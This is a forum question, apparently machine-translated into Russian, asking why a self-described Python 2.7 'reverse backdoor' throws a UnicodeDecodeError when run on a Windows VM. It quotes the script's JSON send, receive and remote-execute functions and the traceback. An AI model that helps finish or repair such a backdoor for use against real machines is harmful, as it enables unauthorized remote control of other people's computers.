У меня проблема со сценарием, это резервный бэкдор, он отлично работает между моей хост-машиной и моей виртуальной машиной Kali, но между моей хост-машиной и моей виртуальной машиной Windows, я получил сообщение об ошибке "UnicodeDecodeError: 'utf8' код c не может декодировать байт 0x82 в позиции 58: недопустимый начальный байт ". Я использую Json для передачи и получения данных. Я понимаю, что это ошибка декодирования, но я действительно не знаю, как чтобы исправить это.
Мои части кода, который создает дамп данных для отправки и получения с помощью json:
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)
def reliable_receive(self):
json_data = self.connection.recv(1024)
return json.loads(json_data)
def execute_remotely(self, command):
self.reliable_send(command)
return self.reliable_receive()
Спасибо за помощь :)
РЕДАКТИРОВАТЬ: Мое сообщение об ошибке:
C:\Python27>backdoor.py
Traceback (most recent call last):
File "C:\Python27\backdoor.py", line 39, in <module>
my_backdoor.run()
File "C:\Python27\backdoor.py", line 34, in run
self.reliable_send(command_result)
File "C:\Python27\backdoor.py", line 17, in reliable_send
json_data = json.dumps(data)
File "C:\Python27\lib\json\__init__.py", line 244, in dumps
return _default_encoder.encode(obj)
File "C:\Python27\lib\json\encoder.py", line 201, in encode
return encode_basestring_ascii(o)
UnicodeDecodeError: 'utf8' codec can't decode byte 0x82 in position 58: invalid stard byte